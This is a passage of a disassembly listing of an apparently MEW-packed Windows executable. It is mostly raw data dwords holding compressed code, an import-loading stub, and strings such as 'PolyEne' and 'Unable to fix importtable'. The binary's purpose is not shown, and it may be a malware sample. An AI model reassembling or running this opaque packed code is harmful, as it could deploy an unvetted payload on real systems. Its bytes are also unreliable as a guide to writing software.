		dd 82FFF280h, 0C28201EAh, 0CBC28261h, 0D032D2F6h, 0ACC2C0h
		dd 0C0D02AC2h, 0C28205C2h, 3C2C018h, 0FE34C280h, 80D032C2h
		dd 0D02A11C2h, 0FFEB1788h, 0F6FFEBC5h, 875FF78Bh, 0EBC7FFF7h
		dd 0C987C8FFh, 0F883DB87h, 9D850F00h, 44FFFFFFh, 24748B44h
		dd 904444FEh, 418000BFh, 0F6FFEB00h, 866800EBh,	58004206h
		dd 1EBD287h, 0FFDB8731h, 6901EBD0h, 56E9h, 5EB7D00h, 3EB230Fh
		dd 68FBEB31h, 401000h, 55F6FF5Fh, 420686BDh, 0FF5D9500h
		dd 2C2C1D0h, 8702CAC1h,	15FFEBDBh, 420624h, 0EB57C733h
		dd 3330BD02h, 0EB5F2404h, 0FFEBC0FFh, 55DB87C8h, 718BDh
		dd 505D9500h, 40B8h, 87589100h,	0FD97E9C9h, 506BFFFFh
		dd 1E8h, 8358C700h, 0FFEB08C0h,	0D28758E0h, 0EBFB8757h
		dd 875B0F01h, 15FFEBFBh, 420624h, 8BF6FFEBh, 0F7875FF7h
		dd 0BFA901EBh, 4173C8h,	8B20C6C1h, 4EC83C7h, 52404C7h
		dd 59000000h, 8BF6FFEBh, 0F7875FF7h, 0B850h, 58930000h
		dd 850F1839h, 2Ch, 808D4048h, 4, 0A901EB49h, 0D28700EBh
		dd 0C3B5352h, 0F5A5A24h, 0B984h, 0EBC48600h, 0C166A001h
		dd 0CDE908C0h, 77FFFFFFh, 0B850h, 58930040h, 10C478Bh
		dd 3101EBD8h, 0EBF0FFEBh, 62815FFh, 0C7330042h,	0BD02EB57h
		dd 24043330h, 0EBF08B5Fh, 478B3101h, 2C2C110h, 8602CAC1h
		dd 0A001EBC4h, 8C0C166h, 0E850D803h, 1,	0C08358C7h, 0E0FFEB08h
		dd 0C1038B58h, 6820C6h,	8B000000h, 0C483240Ch, 0FC83904h
		dd 0D284h, 0A900h, 850F8000h, 76h, 0BA52C987h, 400000h
		dd 0C15AC203h, 5EB20C6h, 3EB230Fh, 0EBFBEB31h, 0FFEBC0FFh
		dd 0FFEB90C8h, 54E940C0h, 60000000h, 0
		dd 0BF8D0000h, 14h, 0FFFF03E9h,	68616BFFh, 4167F1h, 8324048Bh
		dd 0FFEB04C4h, 0C733C3F0h, 0BD02EB57h, 24043330h, 38BD555Fh
		dd 95004207h, 20C6C15Dh, 6901EB90h, 0EB20C6C1h,	53686901h
		dd 5B004207h, 5BE9h, 0FF257700h, 0EB0000FFh, 0EB56F0FFh
		dd 62C15FFh, 0B90042h, 52000000h, 240C3B50h, 840F5A5Ah
		dd 0FFFFFFBDh, 1E850h, 58C70000h, 0EB08C083h, 3358E0FFh
		dd 2EB57C7h, 43330BDh, 3895F24h, 0BA524048h, 4,	0DA2BDAF7h
		dd 0FF17E95Ah, 0C160FFFFh, 5FE920C6h, 7DFFFFFFh, 4EC8351h
		dd 102404C7h, 5A000000h, 0E93101EBh, 0C2h, 0E9D2876Bh
		dd 0FFFFFC85h, 0F2E94977h, 60FFFFFFh, 0FFF3E990h, 0EB7DFFFFh
		dd 0F1E9C2FFh, 6BFFFFFFh, 0FFF1E945h, 8A77FFFFh, 0C380005Dh
		dd 0B2EB8068h, 0F604C3C0h, 80CBC0D3h, 0D932CBFEh, 82D4C3C0h
		dd 0CBC027C3h, 2D92AF9h, 0FFF380D9h, 80FFF380h,	0EB80FFF3h
		dd 64F3822Ah, 1A88CB00h, 0FFFFBFE9h, 0C48660FFh, 66A001EBh
		dd 0E908C0C1h, 0FFFFFFB7h, 718B97Dh, 0E7E90000h, 6BFFFFFFh
		dd 0EEE900EBh, 77FFFFFFh, 7000B850h, 58950041h,	0FFFFEBE9h
		dd 875760FFh, 0F01EBFBh, 0E9FB875Bh, 0FFFFFFE4h, 57C7337Dh
		dd 30BD02EBh, 5F240433h, 0FFFFE1E9h, 40486BFFh,	0FFFFE8E9h
		dd 0EB77FFh, 0FFFFF1E9h, 0E95260FFh, 0FFFFFBA3h, 0FFF1FF95h
		dd 2C2C1F0h, 0EB02CAC1h, 62C15FFh, 0EB0042h, 0FFEBD0FFh
		dd 42063015h, 0EBC48600h, 0C166A001h, 96E908C0h, 0Eh dup(0)
		dd 77E736A3h, 77E73803h, 77E805D8h, 77E7A5FDh, 77E75CB5h
		dd 13h dup(0)
		dd 0B0E900h, 57550000h,	0ED33DF8Bh, 0C6831E03h,	168B6608h
		dd 6646CD8Bh, 9B6EAD3h,	0F174CEFEh, 7673E2D0h, 8BCD8B56h
		dd 8BE8D306h, 0C1F08BC8h, 4A903E9h, 74000000h, 1FE1830Bh
		dd 8308E8C1h, 9EB08C5h,	0C103E183h, 0C58305E8h,	3E68305h
		dd 0E74F685h, 4E15744Eh, 0E0831C74h, 3C58307h, 7F251AEBh
		dd 83000000h, 10EB07C5h, 3F25h,	6C58300h, 0E08306EBh, 4C5830Fh
		dd 83F78B40h, 0F02B02C1h, 3B39048Dh, 0F32373C3h, 5ECD8BA4h
		dd 8303E9C1h, 0F10307E5h, 0FB3B82EBh, 0CD8B1173h, 0D347068Bh
		dd 478846E8h, 0FF6EE9FFh, 8B59FFFFh, 0C72B5FC7h, 3AEBC35Dh
		dd 62616E55h, 7420656Ch, 6966206Fh, 6D692078h, 74726F70h
		dd 6C626174h, 50002E65h, 45796C6Fh, 4D00456Eh, 61737365h
		dd 6F426567h, 55004178h, 33524553h, 6C642E32h, 6Ch, 20Ch dup(0)
		dd 6200000h, 454B0042h,	4C454E52h, 642E3233h, 80006C6Ch
		dd 626F6C47h, 6C416C61h, 636F6Ch, 6F6C4780h, 466C6162h
		dd 656572h, 616F4C80h, 62694C64h, 79726172h, 47800041h
		dd 72507465h, 6441636Fh, 73657264h, 45800073h, 50746978h
		dd 65636F72h, 80007373h, 0
MEW		ends

; Section 2. (virtual address 00021000)
; Virtual size			: 00021000 ( 135168.)
; Section size in file		: 00021000 ( 135168.)
; Offset to raw	data for section: 00021000
; Flags	C00000E0: Text Data Bss	Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Uninitialized
; Segment permissions: Read/Write
__u_____	segment	para public 'BSS' use32
		assume cs:__u_____
		;org 421000h
		assume es:nothing, ss:nothing, ds:MEW, fs:nothing, gs:nothing
dword_421000	dd 0FF41C933h, 0FFC91313h, 0C3F87213h, 77E805D8h, 77E7A5FDh
					; DATA XREF: __u_____:00421018o
		dd 0
		dd offset dword_421000
		dd 40012Ch, 2 dup(420000h), 0DB870E60h,	387C2868h, 24048B03h
		dd 0D0A7C483h, 1E850C9h, 0C70F1ADCh, 8C0A058h, 0C7E0FFEBh
		dd 0CC04EC0Eh, 27CF4034h, 0F05E359h, 3103A123h,	66FFFBDCh
		dd 6F134F0h, 620150Eh, 2E500E42h, 5C8B2144h, 0CA1FE24h
		dd 1030382Ah, 0BD555E58h, 5D9552A0h, 8A814CADh,	80C1280Eh
		dd 0C9F42EC9h, 3F1EC35h, 0F6C80264h, 39FB82D1h,	0BE2B1A6Eh
		dd 8308F19h, 961043h, 0C832F116h, 0C6FF0B88h, 41EF4373h
		dd 0C0F8839Ah, 0B67D850Fh, 1EB02C0h, 0A4348B69h, 16E919A1h
		dd 0FE77A402h, 1BC683B4h, 38D1A0E9h, 70146860h,	3C21C841h
		dd 23D4E90Ch, 0C034CC7Dh, 0DAF8C806h, 6B1881FFh, 75BB850h
		dd 5891588Fh, 8D9FE7CDh, 77281583h, 1B9BE6F5h, 4CCFBB60h
		dd 4AA17D13h, 6B1395EFh, 63678DCCh, 0A8F1301Ch,	39C16009h
		dd 0CAB902C2h, 2FEC50FCh, 74C46286h, 0BE8566A0h, 6B474F08h
		dd 9F20C627h, 50771D51h, 682BF1D5h, 7D8A0920h, 6B980753h
		dd 0C04048BDh, 0F78BF60Ah, 24E7875Fh, 2A845436h, 519D2EE9h
		dd 1818EA77h, 0F2F95583h, 28A203FDh, 0A906CD95h, 7455900Dh
		dd 6CAC1DCAh, 86546850h, 0D0FA58BAh, 0CC8933ACh, 8E2D1424h
		dd 6809A84Bh, 0D8143724h, 0C340FE81h, 0C92A5E84h, 399C8582h
		dd 0FB875718h, 0DA5B0F6Ch, 413B180Dh, 37CE521h,	0BDD28790h
		dd 53408082h, 571EC733h, 309D02EBh, 0B95F94F2h,	5C45B830h
		dd 5538E02Ah, 79C2821Eh, 8001EA87h, 980DEDF2h, 0CB066118h
		dd 32D20FF6h, 0AC4EC0D0h, 0F2A591Fh, 18229805h,	0FA80030Ch
		dd 0D9FE7C34h, 8C110E2Eh, 7617882Ah, 3DCBA5C5h,	0A4B0C724h
		dd 91F92B84h, 85FE429Dh, 8A26BF90h, 4CC2E751h, 69C8200h
		dd 0A2523189h, 56BE9107h, 0F842EE23h, 5F8523D2h, 69875648h
		dd 48872D55h, 5CABB659h, 0E9D1A12Bh, 34632333h,	84071858h
		dd 2A42954h, 0FD97E985h, 0E33EB54Ah, 0F432ECD4h, 0B5864C54h
		dd 0C8BFAD02h, 0F6A38A73h, 0B1C78B89h, 36630540h, 0B26E2043h
		dd 58930511h, 0D90D1839h, 8640152Ch, 0CD04808Dh, 6734911h
		dd 5203B0D4h, 240C3B53h, 840F885Ah, 0CC2AD4B9h,	33CDE9E1h
		dd 40796451h, 0C478B40h, 0F7AAD801h, 0C14EFF4Ah, 8B8DCA87h
		dd 449535F0h, 4291EC10h, 7CD803C5h, 3548BC3h, 8DA468A3h
		dd 1B990CF4h, 0E8C8390Ch, 94A989D2h, 229C8009h,	52FD8076h
		dd 372A0BAh, 595A6AC2h,	2CB15A58h, 400F8690h, 704F54E9h
		dd 8D01A860h, 0D1462BFh, 0E46403E9h, 0F1686104h, 74DD4167h
		dd 9EC3A612h, 3862A0A0h, 0B5424507h, 0B41086A5h, 680C6359h
		dd 5B291C53h, 7783B1E9h, 91090725h, 0DC525694h,	4B9252Ch
		dd 9C50525Dh, 0BFD1BD17h, 5D2CF4CAh, 50034889h,	5048B441h
		dd 2BDA39F7h, 17E95A0Bh, 5F428114h, 0C4905124h,	235A4910h
		dd 24C2E925h, 3C736B13h, 4FFC8512h, 0F2EA495Dh,	97901F2Dh
		dd 0C20362F3h, 4554AECCh, 8A247707h, 0C30E155Dh, 0B2EB6368h
		dd 0F604B0C0h, 0FACBEAD3h, 6332E6FEh, 82D418D9h, 1A1E27FBh
		dd 2DF2AF9h, 1970805Ah,	82FDEB03h, 0CBC064F1h, 0E91A1488h
		dd 0C55352BFh, 7D89B788h, 0C66192B9h, 0C90AB045h, 0D83AEE10h
		dd 5895B2C8h, 60937EB9h, 0E4FD5A2Dh, 0DE3C3044h, 36E151E9h
		dd 0E885E207h, 0ECC28CCDh, 33527F60h, 950EFBA3h, 0F0491ADEh
		dd 0DA3895F4h, 0F61CC440h, 4314BB30h, 2E8596E9h, 60E9F801h
		dd 57550BB0h, 3300DF8Bh, 831E03EDh, 0F46608C6h,	76CDF816h
		dd 0EAD30046h, 0CEFE09B6h, 0D006F174h, 567673E2h, 3B06E422h
		dd 0C826E8D3h, 9C113E4h, 0E710A968h, 831F0B74h,	0E84E1FE1h
		dd 86C5C908h, 4016090Bh, 3C830503h, 8583E606h, 4E0E74F6h
		dd 1C07159Ah, 307E0D3h,	1AEB0326h, 616F7F25h, 109EBE14h
		dd 6CF3F90h, 0F38B25Ch,	0C3400402h, 2C1F09Ah, 8DF02C2Bh
		dd 0C33B0005h, 0A4F32373h, 0C35ED0CCh, 7E53A83h, 2C8F12Eh
		dd 1173FB3Bh, 0F4477986h, 8988463Ah, 256EE9FFh,	0DC815975h
		dd 5DCC2B5Fh, 3AEB1FC3h, 6261C055h, 7420656Ch, 661D6F73h
		dd 9EF97869h, 725F706Dh, 2E13D03Eh, 0D8F750E0h,	6E724579h
		dd 73F84DE0h, 677561E2h, 7848427Fh, 535500E5h, 32335245h
		dd 6C64382Eh, 0FA600E0h, 38200042h, 4B074206h, 304E5245h
		dd 2E32334Ch, 0F06C6438h, 8F47803Ah, 2D61626Fh,	63DD1641h
		dd 38460D58h, 18E76572h, 644EBF4Ch, 3BFF698Fh, 4179307Eh
		dd 50746535h, 3846BDF7h, 733AE764h, 2A45201Ch, 8B116978h
		dd 0F300000Dh, 83004336h, 74086138h, 0FF044900h, 56A5756h
		dd 5A110E89h, 7141018Bh, 0CCE6C108h, 3803B60Fh,	4A40F70Bh
		dd 11A7389h, 5FEA7501h,	8356C35Eh, 0C0330430h, 879B057h
		dd 7ED20785h, 0F155532Dh, 0C8EED1DAh, 0FE0E3BE0h, 832B0472h
		dd 0C781010Ch, 73D8020Dh, 118B0C10h, 2A79E7C1h,	0FD0B85C3h
		dd 4BA00342h, 5B5DD975h, 90CA68BEh, 5CB64404h, 0FC60184h
		dd 0E8C139B7h, 0C7AFD80Bh, 8007AFEh, 3F73F83Bh,	6C044289h
		dd 0F02CF066h, 8CA3BF70h, 0C1009E86h, 0F80305FFh, 65398966h
		dd 4F3D308Bh, 0A4D1957h, 39961874h, 0E0E54181h,	361EA0B7h
		dd 9280710Ah, 2B393FEBh, 20F837F0h, 6F9ADBBFh, 81DD068Dh
		dd 2B05EEC1h, 4280BEC6h, 12A6ABCh, 0CD809858h, 535051ECh
		dd 1CC7DA99h, 0F9B0DB85h, 0F1A7E58h, 0FC5D8956h, 8D0855E1h
		dd 0C98C334h, 4531E83Eh, 0C60302FFh, 18FC4DD4h,	465EEB75h
		dd 5A00CB8Bh, 5BE2D35Fh, 0E4C9C22Bh, 3A46E104h,	7897877h
		dd 39FF33F8h, 0D93D5C7Dh, 0FCF05A7Dh, 56207E19h, 42401278h
		dd 6FE81E0Ch, 0CF6F7F06h, 0D300144Fh, 0FC4509E0h, 4E3B4730h
		dd 625EE27Ch, 5B5F148Bh, 565342B0h, 407599A1h, 0D007EEA0h
		dd 1F906576h, 94F98981h, 3A5FCA0h, 388C8D09h, 0C0038D02h
		dd 0FFEC5E8h, 0CB83D883h, 75F03BA0h, 0FB51812Bh, 7D288AD1h
		dd 0C86C323Dh, 8D6BC2FCh, 0D5A30146h, 0DE0DC303h, 5D97E847h
		dd 0A0BDBE8h, 0BED1EBD8h, 0DE3B032Ah, 4B6D117Dh, 0E8EC3824h
		dd 35718B7Bh, 0C38A5F0Ah, 56997E5Eh, 0F1C8FADAh, 316360E8h
		dd 1675C085h, 241A44FAh, 8094570Ch, 8D5A0317h, 3030774Ch
		dd 0EB31E3E8h, 0D77D8B3Bh, 2A024E3Eh, 5719243Fh, 104B1B75h
		dd 484D42B6h, 0C78C8C41h, 8337BCE8h, 0EB08C005h, 8A056A11h
		dd 0B342048Eh, 0A4A9E85Ah, 5D841013h, 40BEE367h, 89AD5340h
		dd 3ED87345h, 5DBBE475h, 0B90CD473h, 0F063903h,	5941B284h
		dd 0E8099E17h, 0D43A4618h, 22F05003h, 3880F055h, 0B90CFF65h
		dd 0B83C1B9Bh, 1280B9E1h, 5900FB8Bh, 335FABF3h,	4D8D12F6h
		dd 0EC5E0CC0h, 0DC81F006h, 6F85298h, 3C33E8E0h,	0D839D2FDh
		dd 90AB76D8h, 0F87352h,	3E083CEh, 0C1C0558Dh, 0B204E13Bh
		dd 81F4A6C8h, 88E84BF3h, 73B741A0h, 0A814D0Fh, 0CB443451h
		dd 8D047A81h, 5E2440C9h, 12FE6083h, 0E6C188Ch, 4D892EC1h
		dd 19F37DF4h, 260DEBBAh, 0D405E50Ah, 0CBF503EEh, 0FB060A3Eh
		dd 7428E070h, 55015622h, 8AC72BE8h, 0B39F1004h,	0FFD08788h
		dd 48EA3F75h, 3E6546DDh, 261E1ED4h, 60B34324h, 6886748Bh
		dd 67743C0h, 0E914E8CCh, 3D100B64h, 6C7C8088h, 0E88C4DE4h
		dd 584D8A33h, 0E8456366h, 2F0D8073h, 0DE045C7h,	0FCE93B41h
		dd 0FD60F812h, 1DD0BF85h, 8C98881Fh, 8531D1E8h,	3F7552A0h
		dd 0F41DD90h, 0CF20D104h, 0A8B9E843h, 0A16B7518h, 0E88707ABh
		dd 0B39D0FF8h, 0CED72448h
		dd 0CF2B0BA2h, 6509F862h, 0D0888A86h, 0D2F8B181h, 63FB78Fh
		dd 9741E902h, 44B0A5C8h, 575317Fh, 0EBEC4E85h, 0C86A2227h
		dd 185C6711h, 9EB36F0h,	5BA38FA8h, 0EC123CB7h, 76670CD5h
		dd 75988AFFh, 993C2FF4h, 0CB5D0A68h, 5A54DB55h,	128145BFh
		dd 0F82CFD7Eh, 0BFA655E9h, 3C5985B6h, 0CC7DC6Dh, 7524ADF2h
		dd 207C2706h, 5ADB0664h, 0A6020A3h, 91D0E876h, 970431F8h
		dd 4D30037Ch, 77D99258h, 0E7065051h, 11549A07h,	15036018h
		dd 521FC68h, 0C88B4D7Ch, 0F9D18307h, 4901E7B1h,	7702CFFCh
		dd 0E28C3D3h, 0AD0B1A7Dh, 3D18B52h, 8C82B55h, 55E4B5Eh
		dd 35587391h, 8D21EB07h, 0FC999D51h, 1ED4FB4Eh,	0AFF88F35h
		dd 6A50A445h, 0B584AAD4h, 0D8EB8046h, 85471396h, 7B780AFFh
		dd 2F6327Eh, 0E9072A4Ah, 88C264E8h, 887308E0h, 0E5420A2Ch
		dd 0AF54F412h, 64E176FBh, 53A7ED3h, 72D8893Bh, 1C03AFDBh
		dd 820F0DFCh, 52466B9Bh, 0AD5B0C0Bh, 0C3C9h, 38000000h
		dd 2400433Ch, 1A7h, 61004010h, 11Dh, 0DBB36B00h, 30D743A0h
		dd 854DA44Bh, 1953536Eh, 18F1E5E8h, 29192CA1h, 0C13FA4B1h
		dd 5FB6536Ch, 4CC57DEFh, 6494A5C4h, 44A4D17Ah, 3B01BFE7h
		dd 51980700h, 9897D4D4h, 0BC74EF49h, 422B2D4h, 0A360ABB3h
		dd 831585E6h, 0F182949Dh, 0C9B5BBA4h, 6C509A68h, 23631293h
		dd 0C2A97247h, 0EA91A174h, 0C0368E1Bh, 0DFA90DDDh, 4ED7B112h
		dd 0AF0D2A4Ch, 0E9F770h, 0D6B2E2B6h, 0A5CDC0C1h, 0FCBC76D8h
		dd 73CBCF9Ch, 7630CF5h,	81B8DC52h, 68878965h, 77F1F614h
		dd 2995AD47h, 72BC8000h, 4D6B7797h, 6D261047h, 47AD32h
		dd 2E19A934h, 0BF795E19h, 0BB9BE87Bh, 5201C86Dh, 0BA4915C2h
		dd 7A8CD643h, 0FEC07F41h, 98AC01A3h, 0AF337691h, 0C0AE51A7h
		dd 9A50F3C4h, 0CE396B41h, 0B9D8F455h, 5B80438Ah, 0FCBA1133h
		dd 3E2B71Fh, 70FE522Ch,	0E5B0F4FAh, 38CC86CEh, 0CB35E6E4h
		dd 3A8637DBh, 0FC4130F6h, 346B87E2h, 0C62F39B8h, 580D9D1Fh
		dd 0A484BFC4h, 97BFB5D8h, 0C81168B7h, 54A3870Eh, 31C585FFh
		dd 344BD271h, 0CF84DE4Fh, 0ED236338h, 48F72C29h, 95159B15h
		dd 169534D4h, 389DF420h, 0DDA34572h, 4C11499Dh,	0FF4288EDh
		dd 0CD11503Fh, 0D892C4D5h, 0A03EA2E3h, 0E1171B0Bh, 71A9B0A1h
		dd 5444D49Dh, 0B8BECDC4h, 0B0813CEAh, 0F70B89ECh, 23ED7109h
		dd 0DA92A250h, 0F62DEC9Eh, 615F4DA3h, 72AF021Ah, 0DD264A02h
		dd 39DA9571h, 28E5F03Dh, 0E76D0004h, 94A34120h,	923B0B04h
		dd 4A0DD13h, 14E3457Ch,	0AA6C7800h, 0C154C6C7h,	46AF214Fh
		dd 0E2B983F2h, 0F7F4B48Dh, 71367BE1h, 0FFFDE73Dh, 5EFE7ADFh
		dd 584A9B2Ch, 0A3550175h, 37F923A4h, 4DA110C7h,	0D3B39BBFh
		dd 78B9F427h, 0F7B581BAh, 1E4D9C1Eh, 982ED7B4h,	3B57B0BDh
		dd 4BB2D804h, 0AD558CECh, 5813E154h, 0A3A6F01Eh, 4E0014F8h
		dd 0BF92D560h, 9D91F6A7h, 2775D666h, 0B10B1C8Ah, 0C78D55B1h
		dd 3ABCA389h, 2EEC3942h, 0F81627DCh, 0B5C9B248h, 0ADFA0ED5h
		dd 6F3BD75Bh, 2BC7CD86h, 101ED57h, 6857D966h, 0B4B715FEh
		dd 9FFA27BEh, 7FF0CE8h,	0B48CF1B4h, 0CE75B95Dh,	7D7B88D4h
		dd 0CE35AE89h, 0D84DB08Fh, 48DD21B3h, 547648A0h, 4A0C1502h
		dd 8561D36Bh, 2369D160h, 0C84765C2h, 0ADA44802h, 0F79D29D5h
		dd 79A4916h, 3D98D751h,	387C85FBh, 8C60805Bh, 0C0743427h
		dd 7F0B962Ah, 0B8C22022h, 0B3B55514h, 61B6E4D7h, 35F164h
		dd 974A0A9Dh, 21687355h, 9B695D99h, 7F646EA9h, 3EA554C5h
		dd 31074219h, 7C6574F7h, 87371F82h, 3BF6C1AFh, 46F07279h
		dd 0B36F3998h, 6304F50Bh, 0C4D29D92h, 4B9A7FFFh, 0ACD321B5h
		dd 0B1C240A4h, 0E359CDDFh, 0D811492Fh, 0F3B6D188h, 71312A21h
		dd 0FFEA950Eh, 802D610Ah, 0D51E797Ch, 93141460h, 68FB8AB8h
		dd 0C4B80660h, 0B8720473h, 0CA710295h, 7124ABFh, 479B1820h
		dd 0D0C6C918h, 8F0B8F9Fh, 29F4BD88h, 189B8B99h,	441BEF4Eh
		dd 735F3F84h, 85698B6Eh, 2C67A06Fh, 5C716257h, 75296EC0h
		dd 0C57B4B0Dh, 2D32BA08h, 0E83F6E00h, 502EB3E7h, 65E78C1Ah
		dd 0FC8FA38Dh, 8145FCF8h, 60FBBABh, 4DE6C38Eh, 445B99A3h
		dd 7D2E2011h, 6C512A95h, 0F9BB3C24h, 4ABFC4BAh,	69358688h
		dd 19809611h, 85A2CE13h, 1831077Dh, 8CEB26B5h, 541A0E38h
		dd 116258BDh, 0B456C79Fh, 9CEB7950h, 702DE44Dh,	47454942h
		dd 182CB94Eh, 0E8DE7220h, 93B8C2F9h, 0A8567F29h, 537AF40Ah
		dd 0F9146BCCh, 0B3F86F53h, 556C905h, 164DB114h,	7DC5F3E8h
		dd 80D68D38h, 0C7F650B0h, 1826AC9Ch, 0C0464982h, 7DBD0E18h
		dd 6B81E745h, 30D26C77h, 9F5E23B6h, 32C821B4h, 80662EB7h
		dd 6010EBAEh, 0B026DA9Ch, 0B3588D86h, 41D441B1h, 0F19C0B86h
		dd 5EC2C298h, 0A0963BADh, 8FB29860h, 32392048h,	0BC5F38A4h
		dd 444B5869h, 702136D3h, 66C0B4D2h, 2B2863EAh, 42E92E4h
		dd 0CEAAB8B6h, 0E712738Eh, 56D0BB1Ch, 2E76C325h, 895F0031h
		dd 20B5E3B1h, 98529E09h, 0CA2AFCFFh, 32FE82CBh,	5F09EBD8h
		dd 0F275B3A3h, 0EF94523Ah, 1C64A4FAh, 0E590BFC5h, 0CA40943Bh
		dd 5E30A059h, 59D67138h, 2865F10h, 3CB41186h, 0C36679F2h
		dd 7BCA6941h, 0C4DA0729h, 30DB7F11h, 204B1627h,	0D130A133h
		dd 1CA778B7h, 3CCF770Bh, 0A70E59h, 0D2DB3EDDh, 71AEFCh
		dd 1CD3F9EEh, 0F3B307F3h, 0A2E14A37h, 6F9812AFh, 0C3D614F8h
		dd 9E058263h, 931E05B1h, 0C28B3570h, 50890F05h,	0B24D2070h
		dd 8FB1240h, 83520C6Fh,	9603025Ch, 0EFCA1BACh, 0D20E25A0h
		dd 5F687BABh, 0BE6CFF5h, 57168686h, 515A9815h, 4D6AC34h
		dd 394F042Eh, 1498C0E9h, 0E658095Dh, 2D19829Ch,	2797DD7Ah
		dd 61A1D43Eh, 0D7828152h, 7D2E7066h, 5AAC1C5h, 0D5EBDBB9h
		dd 5FEF7A64h, 4195C611h, 5BCDAC66h, 9EC8D2FFh, 9600D937h
		dd 0B90E80E6h, 30B55FF2h, 0F64B4CCEh, 3FCB9532h, 0F4DF4CE2h
		dd 0BED22415h, 0F1D334A5h, 6C25B52Eh, 5154291Eh, 0E7A327D5h
		dd 0CB8416BCh, 5A27D606h, 0DFB5443Eh, 0E292EAC7h, 65E13B99h
		dd 0B87EE63Fh, 0C8E62AC3h, 9865C2ABh, 0E09C3CEEh, 4660A47Eh
		dd 96791258h, 51088D33h, 4821CE81h, 35334BFAh, 10DE78D7h
		dd 54FA3CB7h, 6D38A7DFh, 4EF4EF58h, 939F00D5h, 0D9275EB7h
		dd 822AC45Bh, 0E7801EB8h, 384B0085h, 0C3466980h, 9AEA85F2h
		dd 0D2D16995h, 56174F3Ah, 87581B51h, 0F5C4D1C5h, 2EA47B9Dh
		dd 0F7DA1CBEh, 30A7749Fh, 0B5A5EC8h, 63BBA63Eh,	0A3618D4Bh
		dd 0F6C72BA7h, 54931E39h, 0FDFC7562h, 0B11BB64Fh, 0A566B9BEh
		dd 6B565655h, 0D8CD4146h, 862FC9D9h, 19FF2761h,	0E3D24961h
		dd 75348F32h, 825F1A13h, 22011E4Eh, 0DE66F9AAh,	792F600Bh
		dd 7430E7B8h, 0CBBCB7C7h, 41B4ADC1h, 0F2BE9359h, 0ACCD18B0h
		dd 449E52D6h, 129B9AACh, 0DD0C8762h, 0EB3423D8h, 6934C4E8h
		dd 0DD5BD88Dh, 0F3958E7h, 61957960h, 915057E2h,	768F96A9h
		dd 0E4E22FCBh, 1B80657Bh, 691EBBE7h, 0D659CC5Bh, 1FC04BDCh
		dd 0B97432D9h, 875E1BD1h, 0E5D81C28h, 0A8F261B1h, 0A843EAC1h
		dd 0A5A76C59h, 39B8E8CFh, 952AFB1Fh, 0E366DD6Fh, 0C7D1DFF5h
		dd 9681519Bh, 4AA25CB8h, 1850AEB3h, 0F28C6168h,	1B70719Fh
		dd 0C390F057h, 5F59AA09h, 8CC6CC0Bh, 3D017003h,	0FEEFE2E2h
		dd 1C9AFCE2h, 0E02562C7h, 79053EF7h, 6D1F9FF4h,	8DE359A9h
		dd 0F8E3410Fh
		dd 0B358A21h, 0E90E3FABh, 99482000h, 3732E67Ah,	74EB2B57h
		dd 85F1D2B6h, 0C17FCD04h, 0E1191A2Eh, 41D99798h, 3C4B1F0Ch
		dd 4875EAE3h, 5A69A743h, 4069BBB8h, 2B391B5h, 45873168h
		dd 6AD5C005h, 0D5BC889h, 0B34693A2h, 3068EB4Ch,	1E83B5B9h
		dd 5CEB050Dh, 7AD9B56Dh, 85A7A281h, 0FAE09AD6h,	3F202FEBh
		dd 0FE20FA0Bh, 0FC9A7A89h, 0B3B23A41h, 7F335E7h, 55E6936Fh
		dd 0AEC1D615h, 95C9A5EEh, 5D6E8957h, 0B4B6F076h, 0D05FAE5Dh
		dd 8DC33EFDh, 7459F2D9h, 0AEC9F3EAh, 8DC685CDh,	4ED16C28h
		dd 73A5E87h, 0F1C23FF2h, 27BD9F48h, 7E184936h, 5DDF2692h
		dd 2317660Eh, 6E49066Fh, 0CDC7B2C8h, 8608D98Fh,	9C0A6805h
		dd 0CA40BED2h, 0E2EE87CFh, 204D2281h, 0D4DFCF2Bh, 0A3BAAAECh
		dd 4536FD5Dh, 34C3CE0Bh, 0D315CF6Bh, 0ABB7651Ah, 90F10C36h
		dd 699EF773h, 4A7D75CCh, 16A2A88h, 0B838E78Bh, 0B1F1E351h
		dd 55A9E431h, 5F69C83Bh, 1342BC1Dh, 99380285h, 0FF324D1Fh
		dd 1F4B5C21h, 0D0509F4Ah, 0DBE77837h, 0F5F25D1Dh, 0AD3D60F9h
		dd 0EFD2C10h, 0DA088E33h, 0C99F30B8h, 0EBF1D62Ah, 208196E2h
		dd 505A1441h, 6DFBACFDh, 0DF227101h, 50F8323Bh,	631AB6DAh
		dd 8B14C035h, 65B7D685h, 62EBAD7Ah, 7DA2E578h, 0D8836B15h
		dd 95D869B2h, 21B60F2Eh, 5B8B8B2Bh, 9E8254F8h, 0D28FE23h
		dd 0C01CA268h, 48158E50h, 0F178FC18h, 9A1E338Bh, 53B34098h
		dd 2A5CB8C8h, 3B660C5Ah, 0E47EE8DAh, 1D095558h,	460546B9h
		dd 0FC9CA5A6h, 0D8B561A4h, 7CFF1247h, 1297E9C6h, 0B2100E36h
		dd 96CF70FFh, 0D26D54C9h, 11CD0305h, 4A62F2A1h,	88A388A2h
		dd 2ED812CEh, 6012DD7Ah, 0E955B350h, 0BCB0C5C3h, 9DFDE495h
		dd 5184EBEDh, 3DD0487Bh, 0F73C8EAEh, 81609E5Ah,	561EA2D8h
		dd 8FE4957Ah, 5D035BF3h, 40198419h, 0E0AF63A3h,	1F3D4331h
		dd 1E81BA4Ch, 0CBDBA3DFh, 0B6491D57h, 61B3578Fh, 77731BA0h
		dd 0E7E400E6h, 52CE375Bh, 0C3EE5761h, 0A2B9FF80h, 9FE420E4h
		dd 0F268912h, 7FE02D47h, 0C0134E7Eh, 345CFDAh, 0FD9EBB16h
		dd 0BB225869h, 0E6B9213Dh, 0A35451D2h, 0B76CDC7Ah, 39EC0855h
		dd 0C81DB627h, 208B18B8h, 6BAD779Fh, 0DE478861h, 2E91BB9Ah
		dd 0C2CC1E07h, 209EF8D4h, 0BCEA305Dh, 0FA9559DBh, 0D18E89D9h
		dd 0FF36A91Eh, 18033DF3h, 4444F271h, 0B1B08B93h, 862018E4h
		dd 7C7216EFh, 0A2F823E1h, 75F66A00h, 0EDDC54D8h, 8AD6A7ADh
		dd 1BBB8C9Ch, 0E872D026h, 18CAEFC9h, 6A2D0BBCh,	0FB60A315h
		dd 875C3575h, 25A7F330h, 0F43AEA1Dh, 47A54CC5h,	0D6C1B846h
		dd 7B66D2D5h, 0C6C7C4C2h, 0D4BA8548h, 7AE00E69h, 5C1F43F4h
		dd 0C305349Ch, 8B270A99h, 0DA8D6B86h, 3A1AE870h, 4EE02DDh
